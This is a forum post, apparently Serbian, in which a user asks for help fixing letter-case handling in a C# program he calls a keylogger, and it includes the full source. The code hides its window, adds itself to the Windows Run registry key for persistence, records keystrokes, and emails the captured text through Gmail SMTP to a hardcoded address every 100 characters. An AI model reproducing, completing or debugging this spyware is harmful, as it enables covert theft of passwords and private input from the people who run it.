Posle male pauze sa c#-om zbog prelaakog php-a, vracam se svom C#-u opet
I sada se malo igram hakingom, bez krekerskih namera, cisto vezbanje.
Uradio sam sve i ono radi, ali prikazuje sva slova kao velika, a meni treba da prikazuje ona slova koja je korisnik uneo, veliko ili malo...
Naravno to sam pokusao da proverim preko IsUpper() metode, ali bezuspesno.
Kome je dosadno neka mi pomogne, moze i VB, Java ili C# kodom ispravka nebitno.
Mozda bih ovo uspeo i sam da me glava ne boli :/
dakle obratite paznju samo na deo koda gde je KeyDown dogadjaj
evo Source:
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Net.Mail;
using System.Net;
using System.Net.Security;
using Microsoft.Win32;
namespace Keylogger
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
this.Opacity = 0;
InitializeStartUp();
}
private void InitializeStartUp()
{
RegistryKey rk = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
rk.SetValue(this.Name, Application.ExecutablePath.ToString());
}
MailAddress ma;
MailMessage ms;
private void richTextBox1_TextChanged(object sender, EventArgs e)
{
Attack();
}
private void Attack()
{
if (richTextBox1.Text.Count() > 100)
{
ma = new MailAddress("srdjan.nezic93@gmail.com");
ms = new MailMessage();
ms.From = ma;
ms.To.Add(ma);
ms.Subject = "Hi";
ms.Body = richTextBox1.Text;
var client = new SmtpClient("smtp.gmail.com", 587)
{
Credentials = new NetworkCredential("*****@****.com", "******"),
EnableSsl = true
};
try
{
client.Send(ms);
MessageBox.Show("Mail sent!");
richTextBox1.Clear();
Attack();
}
catch
{
richTextBox1.Clear();
Attack();
}
}
}
private void Form1_KeyDown(object sender, KeyEventArgs e)
{
Keys[] key = new Keys[] { e.KeyCode };
string x = key[0].ToString();
char[] rich = x.ToCharArray();
string sex = rich[0].ToString();
if (char.IsUpper(rich[0]))
{
sex.ToUpper();
}
else
{
sex.ToLower();
}
richTextBox1.Text += sex;
}
}
}
|